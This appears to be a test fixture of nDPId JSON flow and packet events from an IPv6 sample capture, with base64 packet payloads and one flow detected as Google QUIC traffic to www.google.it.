+00704{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":395120,"pkt_caplen":268,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":268,"pkt_l4_len":214,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAANYGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3EcnAKcmsggBgBYRYsAAABAQgKEg1sPOPdU5wXAwMAsUohbF6hqm2iPbr5acUercfvDKKXo6eRxQREALqHMULPkKcrij9I+s937a+Ptj\/48lLHQ1Wb3SgwI5IkBSOhrv6IVrq\/yOhvf7XOjabBqvbdcaHqf1DGDHgPPOpYr+dJO5wcSH25xkyZHXLU0QNqpczDg7dKCMPOVcOltspkl5ZzoyNyh0jvlmeYCBWg6kXBip25FBniFP0s4NZksUmy3aWhoSbUDQ+LvhRDb4xtwZyJTw=="} +00510{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":395195,"pkt_caplen":124,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":124,"pkt_l4_len":70,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAEYGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3EcyYKcmsggBgBYRWcAAABAQgKEg1sPOPdU5wXAwMAISEEhc9+XaFrGjMSta2tz\/npJ9wouC3HutuqGdJZFlD+8g=="} +00512{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1448269127400,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:4001:803::1017","src_port":45931,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02234{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":400446,"pkt_caplen":1412,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1412,"pkt_l4_len":1358,"pkt":"UMWNrEEBeKzApw1Mht1gAAAABU4RQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwVOGq8NSb7i0\/DtzNZRMDI1AdhpfiGrZQ0z8Xo88wCgAQAEQ0hMTxcAAABQQUQAlQEAAFNOSQCiAQAAU1RLANwBAABWRVIA4AEAAENDUwDoAQAATk9OQwgCAABNU1BDDAIAAEFFQUQQAgAAVUFJRDACAABTQ0lEQAIAAFRDSUREAgAAUERNREgCAABTUkJGTAIAAElDU0xQAgAAUFVCU3ACAABTQ0xTdAIAAEtFWFN4AgAAQ09QVHgCAABDQ1JUkAIAAElSVFSUAgAAQ0VUVjgDAABDRkNXPAMAAFNGQ1dAAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0td3d3Lmdvb2dsZS5pdP6VATCysYcS+6UyHFs91qYSgNdeDzmk0IEyIe5t2+bJKAI2qamMt0i7KMYplR0K0jnCGwmAm\/d3HOJRMDI1eybp5+Rccf9WUtVHu\/cGtxBbc83x\/ixhHuZYGb85GDRSl0WTDzqXHGQAAABDQzEyQ2hyb21lLzQ2LjAuMjQ5MC44MCBMaW51eCB4ODZfNjRJY0N+fBRzPpi9ZOX2cffRAAAAAFg1MDkAABAAHgAAAKnIKfkyK+SzUnB6164ARpx8JYjcWyR0opR8VfpSZa5LAQAAAEMyNTWqEkFTJwbowuJjGoJ9cYVfQAt7kKmueesKxAMAMPg3G85FTSE++LOaAtQpI1KVeq729JfhjhoCsaupNHH2PFh7nIyQFBUHu\/yG69qYF+ZOXnLeZQlagMSAtKsuormBERnE1N5BArSjLGqyjEsI7xMsjf+GWiD9zqRxEMc6cBgFvzaEvMvxi2SGPZg7npVciNOVP9ZU7k0lklFQEmkIVXhAz857PhdAM9F8uaoJzSnjSvvppgNKNbAOmmtmPDeC+pIAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1448269127400,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:4001:803::1017","src_port":45931,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"www.google.it","user_agent":"Chrome\/46.0.2490.80 Linux x86_64"}} +00456{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":419269,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApyayANxHMmgBABMJ3AAAABAQgK493E7RINbDw="} +00456{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":419302,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApyayANxHNMgBABMJ2aAAABAQgK493E7RINbDw="} +00511{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":419312,"pkt_caplen":124,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":124,"pkt_l4_len":70,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAEYGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApyayANxHNMgBgBMJRuAAABAQgK493E7RINbDwXAwMAIamaKXQXAEJ+l6GRGDPCWYkk8\/GIYJF1yZM9UcV466R1KQ=="} +00455{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":419326,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3Ec0wKcmtGgBABYRV2AAABAQgKEg1sQuPdxO0="} +02264{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":425809,"pkt_caplen":1412,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1412,"pkt_l4_len":1358,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABU4ROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawVOyY8AAb8WJ6Bcd8sMmCgT1ZAbf9HJtJU65m4+bYpFMYi142VYaY8+t63\/dljK20Pk6Hvm9ZGbc4Et8i29+QvT1kI6MUSu9s3cUHjnw2xTVTxhsAZQm3P8lhXGD3mDtRkg1sEr5Q7cUyyDCLFUAAa6oJdZ2+wjH2gcLInCstN8U\/9bx6mOB4zttEHtP4c5+\/9wVsqFhWr8fRfl3NhWM5wR+Zg8+H9Dwriy2djsTqMxZ15btYw8HWKV3SpS+cchPqkycwN+jDrgd3LuUYlETydIegf69eD\/JtLcKLFbEN5\/5QkOg9oAmwqqCClTPJLTkbez9M4pFkrM2VJDxnT19PvnGpVdwH0wIvKNgr8RVKNTlGILXC+9jJMPkA9tVfHgEWzHqgG+WxljhwAd4QSufx6LSzCoBsf86nBeKfgcGq9lFFZLToMS1VjjSASPtZOvlSLyuxjHryC2XTxpVHUN\/PBKPgXBScR4DFFlJHRdFSNH3eaciyVInAjiCfV6HJYS+DuTQgUqjcyAG5tuDXYslL4LNyVesK76J8Q9FVPv6Ab4vTklEVJejFK80Cn8IouJ9WHz8uTM24UHbOmpAA\/c+EPPNLCB9F8iGG66BwJvUEBHZ3Ygj9rnWqSJgSU55vdrYi5luNP1KoXM4YmziEg8e+xJprdp11YpNV+0lAxdI0zR9s3KRF+wKmv6XtU8gBoCwTHodAHf32dQGfVior2u\/KHctDxD8nHTXU0AZV0DGAOL04YVg9K9w3y4THfVYJpIoP+uyoruQl0rsX9ENsZ5qS+dOXnu5LcoS2EGP16jbi7uY9ogtSWghhTOmmCzmJAGprVn6JTMBLO193Vra3mqDuGuMUOZM\/l8mB81H2MusGIWIde9dns9dj2AG\/cfGaDWSays\/fK3VtGGTBv7FaSH\/aw\/Q2zkhNIJX\/WFH6YUEleLUh25ypFwius1sBxwKIcgK2ijlBJ8pqokusSGJDg\/c4+DqzUrA93\/HrO5AiXdFCeRaHb7qWTzL0p26M50TOgV5ZhM261i0CZOTvKrCn9iZeIH3z5r82ZP101c8INU8PByLFZYWSBQLEx1DNpqjwLojRfhTpMW5JdNN\/sTmhr77P3fBJRr6WfjS8BevHVq9cSi8laxJh0JQkiYq6WSdgUPITf15zal35ZU99gHjN8lHKLEe4ulo25UZrSeatzSMZUm5A91iw1tGWfGpH4DfLZt8Ntly9VWHd\/87hCB87\/piwS6u4+4ryQp4GDxllbW\/SkuP\/IAA9Zuq742fzBVuJkS4BpNCthxU0Qle\/rg\/gQjlJJVbj2FDnbMgmtbocxxIFkNS+NNJJEtuvLnbQCDuw8uZDIIX7G8SvS+F8HVI+jLOPdR15E6Pnf84ervCPA5o0JfpJr+Ni3PIRv3FKi+p5DZaL1kmCkPEBtHdwkl3y2psiuigxSpcsFcwghyrpx9hiMFpPOeQbZd1kDbqrcKz3DwJXNrOM5TljZcc+q\/sTNd3axpOt7TtQGaRTUzdKfgFeiq5EoRUpye4hhSuSwq98WPbz5OcLGEG00xOPY3pwtztgP3Hft4qU9pxAWCD6O+UUk1tCU0r2xCd25EV4iBdLikeLpIHEfcmHIJd72ETZjpLfti3i9QaSkD\/AsqiENwvRS6H7x34vPid3KkvLGz\/SjeWjBz44e2RAwUEkK\/6QdG765SHEZEytfd\/\/s1VN9Lrlmg\/JhogP6qMLZp6e145R0qbs7qAEZeb\/fZQhZM2cMG0S3vs2+Qg8KLzxAegZ7RC0gS+QzKcRpj6NRz\/TYo6NL+7\/Uv2rcnFhb6N0M="} +00474{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":426636,"pkt_caplen":99,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":99,"pkt_l4_len":45,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAC0RQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwAtFY4MSb7i0\/DtzNYC4PYSufRYk3sdRNPxvPTHCMs5+9cyKuKyC\/5g"} +00687{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450064,"pkt_caplen":255,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":255,"pkt_l4_len":201,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAMkGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApya0YNxHNMgBgBMED7AAABAQgK493FEBINbEIXAwMApLTQBW4rB3BTVM58xVIHpgNMU0GxZCneWqMf66wOv3\/BusN7Gm139O1Z\/tCbkzgMpgcO\/GlcWnuZDZLFXlVNloedNSt2vsOVLLaGhRdzaXCiXulvoOYZc5vXW4tGotuSwjw4rWzFi3pVwDWnYoPLfXdNjL96Ho0QslNywnjcyUibE6sk71RI4nUnqskBwJ8rhA5rRLsRTGWv2WenNA0cGof9nM68"} +00456{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450093,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3Ec0wKcmvvgBABdBV2AAABAQgKEg1sSuPdxRA="} +01147{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450104,"pkt_caplen":592,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":592,"pkt_l4_len":538,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAhoGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApya+8NxHNMgBgBMK2SAAABAQgK493FEBINbEIXAwMB9QMiHfGjt3pPsqIPKs3E6aIrNM6eZLzUjnh+XKP2wS+y52QL1VuH9MT0thAwdc643GRCPyw7SWMqSXNixj97DDew15b4yL4scCXJCunKCk0dVPd2LFPE0Aa6Omy5bRxJ5aA0rDP4lWA\/KsJ1Czhmqi56POZfWmKvEeNtTEDQUqftWP32cAt+S5DDVwlMP5\/D5oq6mwQNHw6L7m5vX2pYI66RuIgCoIb2RPXDbn+sqDSSxF7RyDmk5Nep\/70JfFr6jY\/TOnhy1xyvMOfJEp1s9N9q\/sQko0ZsSE\/B2FYUhyaYmnY0fdrRIYWOfJ9+jnciYpdssJWkKga0XxCadBHUeHMryEDG1h2QjQ2lrOXKg5vC4PiCi07KrWdRL9UT08zaMpfTvbD7dbHXODT92D\/c5+2kwtY1+IqM37uhrwYQPo5\/qmJsK0C3CJCf1A70BX76UonruZ3F3o5ttPsKVMGg\/rHVcExSrTLSEHC4fxtCbL289kW03fw0jRlgrec57RmlvsUxqhW4r+S5pU\/8R2MqOpGjkRtfv0ce5lslwcnaXwamz7iIO37f2SrMATsM6Z9ErMSSR2+I4rZ8dDDR0V4dEshtCzgAnNE0cvvSo0puYOTjcmNtxHykNDJNijD9JLUr+ZO6HIIuBPZ3oDRDGqkjJtyeLfze\/Q=="} +00514{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450112,"pkt_caplen":124,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":124,"pkt_l4_len":70,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAEYGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApybekNxHNMgBgBMHYTAAABAQgK493FEBINbEIXAwMAIUeAs\/Z+bqg9GbTL\/4Fr9OR2Xj18DWrqgtMhcVpj3uyepQ=="} +00457{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450125,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3Ec0wKcm3pgBABhxV2AAABAQgKEg1sSuPdxRA="} +00457{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450140,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3Ec0wKcm4PgBABhxV2AAABAQgKEg1sSuPdxRA="} +00512{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":450459,"pkt_caplen":124,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":124,"pkt_l4_len":70,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAEYGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXozABuw3Ec0wKcm4PgBgBhxWcAAABAQgKEg1sSuPdxRAXAwMAIbcwx7pNRpc92YqQAFv\/SuGAIZNVhQbJIxbEuuigER8Wpg=="} +00458{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":510990,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOSoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbujMApybg8NxHNygBABMJoXAAABAQgK493FTRINbEo="} +01990{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":599081,"pkt_caplen":1216,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1216,"pkt_l4_len":1162,"pkt":"UMWNrEEBeKzApw1Mht1gAAAABIoRQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwSKGesMSb7i0\/DtzNYD4Sq\/JgtZKQ8If+SRrxqlC9HDSbbnPO1QpuE\/et5JmBqSOX\/sxlXXzytQJ2UPpjo39V6+Qb3uu8nBdESGzs6dzETqwBnzl09pXQ\/4M7bdWEOwQM84JAKgkDz63WjoHVLO10gSRQktwOV+bLB8FvG9hm9wszQYGs+ukSXgHNGny\/nplPAxJ5SUmw2xg0Ij0jVKWwmuVd5HrNveXSLxNKQWY0F+IDgczuJgf1C4SC2EbP9cpDWHHQAmZkmOeH4Z33cIGVWJRn+gRdxAREl+yzkOzYtQuXgjpzLPa5Eu4jJLlZ50NIeYSeTeIicO2oBBW0dIcY6w++5MFypb4I7psi0j7nPlWkYS7khambZvgERUPCp9\/3xSfG3pGCUebPmmIoUPJRRzKUs2iJDF7E5ZWfzymsRuCUx+6DOSHoJDJnvJIwzOm+SaQ5UmWXV\/0rLQKWWGj8ecVYwjSSoj3XOhUaf8iNtA+2k3MN+xJvXPwNV1HgNQiyXKkmhDtSFgvjp95ZXqfab90HNkehi2VGH1+xZbf5Q1ixVm\/U6MAdsGAjMY3UFq3vMPK7qzSVyDW8GEsn1WICzPkUD\/VUcT8zMWHIJLVbkc7zpNxUlaozTdulXI33fGilGOMgVdozShASJyEznWmBaF+9gGTUr0tYekhLFbJqFQtbkBDjBwDFqwgIkg0Bg7H0lFWLMmQBa4brKz20Y1LJj1my82aA6KbpD1zgbg2mULvCPQMoWdJCDuUOGP2+3BClnRMqRKI\/4yUHrpz4NJbA4oM4nJN0AhZAkBYchptETU\/PmmSk7I2f7R7fxRUZeZxJYdYO+p+0mxIX9Rut0+752wxIqK2zpemCQdskpyvO+Ukpjuv37VrVaWdwaOIH\/IiXLOpZqLfMfryiFYhJtpbOpPUGBY+l8L2Np2cuewTEsGHe3TpKm5P818S8YXOI7W5P7ZfyMej9dcWSpl7LpTNN278jWqSYaWlBFRqlZuSiMp96uP619Zz2ecFHoOsuGa19O4Jt7SNe27ubMEj56BSodANfPwy08wj8emA0OL3z9p+a6fjPz3aQJ\/rZfS+zrNgqLZOTAISI3q\/+UKGCvuJYEgGOLnqofAyOYFa31rNVUg5p4MtxMzAPv76kbh77q1nDRA3y6tNo8wswExWgVBb\/EL+cseY8H5I2ZZjNyw+B9xvIzofXRDnnz96ApeBi6eFnBAopLbvD8kpnFC8cuoUbKpd4qfZRY2xE\/1fizcoWpPpQYPSY2xChlQjDi7\/YMl6S34oE5xROeRhUnXtYqBAXb5MT9gBUD5Kjv5RG5fQ3CWrvuQYYCmyNT5g6TLKM20JOryM4yq8xht55alwAWJxmckMwgag8l0sIIhWZurF3Q4E7StJet3wJ5NAvWVDFkEEF8LGOHp87CZgdEZ8olEWPOX1QONrZGWWcIxklyJA4GjVH\/qGDQhMxlzvwGwg03Z5sSoWieD6YBAouYE7rlRWCMP+IfTVx+\/fPcPRJSJmuDMqn4Ke4B3lmbbfMhbwWleCKLL4paZbw=="} +00469{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":645261,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawAo5EYAAjH5M5nbBTZRo5csvuygUEwHGXuZB1lWad0vvJ9Sbg=="} +01256{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":660950,"pkt_caplen":674,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":674,"pkt_l4_len":620,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAmwROCoAFFBAAQgDAAAAAAAAEBcqAA1AAAEAA3qswP\/+pw1MAbuzawJsVPIAA7uvQHrBqFhHz4yCJJ6y5PW\/ffgA4XPTbXpQIXDdmDr6z9F9guONTXwt0tNyuuBqfkD4NZlwBNNZfex0NLcZKK4t232AjUoRmf10tuIxjRQ+drQxCTlGjlRjiE1hPcP2ZU4xZ4LQrHa6D9nyTSrPit3RxLXMLy69oMLvnvw2V602Pxc0YMw8qKl2tIHWmdTYoSEOGA955bZ9HxOQIuvjRqk109M3qeDZg0HduuHrSrGANMs4LTCvqQPPm\/vT3E1F4aB4OWshPmp3U51xD6TfiumPhvb8vkxbV1PnG6jSpNxy67ayQj1URxLZkCbQ07CKS\/ndZrDE1JG\/KUgnh43OCuD8dat5UX\/dtNy7C8ALyL65O1vZ06bs9IQyTrO\/gAgFaydEf8MEs7WYwd6Y++kAngQERWPPesAKCPPmy68sr9jdE\/i+\/2rqwjQGxRzx\/VbIJTd22EKFz75z+TOpGGBQRuwF57ePA\/vlsK1ukxM476aQLIPGcIIEEI16t\/pvmeWu3WAGpw1XY8t89gzRm3DWWGwCV0OLWBI7A3dVclzbtg3jX17h1fAiuXTOXLbhlMyRmFMduA9oUejkWDx0b4tiJy0rVLuSBffuFgiNHTUvuC5O0ZUIMiznSX8aM\/e37iqrTMta1CoftvvPZ8lP5Pas+mW8TAlAodvUtzAPGXLRLhIOLCtqFM2Q0x3Q5dNsoR4OpJaXWH29nW96X05Prs6QUgBqJCxtOrynKgSeHH0DN4W0tMNq67xes5m8EFDmtyda8d8QUKmsvwLrIxxHbH29gSSB7YoVfQ9eCmV0OKQsuaixS4E="} +00481{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":686289,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAADARQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwAwFZEMSb7i0\/DtzNYEktTQwBGu8uI\/NDa3nf1fULhgE33qhk6d\/Nqk3uKv"} +00683{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269127,"pkt_ts_usec":725047,"pkt_caplen":252,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":252,"pkt_l4_len":198,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAMYRQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAXs2sBuwDGFicMSb7i0\/DtzNYFA2H9F86EvQY3yq4wnWp+DV7Ys66y+Vm0fjURng5sNNLizE7Hgxw0WNl2woWG1QaAptzuLHpS27sc5HPsVrS+hdXsOjjI9CzmQJnrNcRm+Z18tHmtkWkDvYeTY+Lo9mbfZah1DHPOxtFjFgdqmNKVKHQ\/6e93Ct0lieNHs5\/2ctPU1cl5Zx1kAAEoKhVJmySCnSSmxY32Xxjs5FEM8Czed+0BOIO1GAXKZXb6\/7vum44eh+Va"} 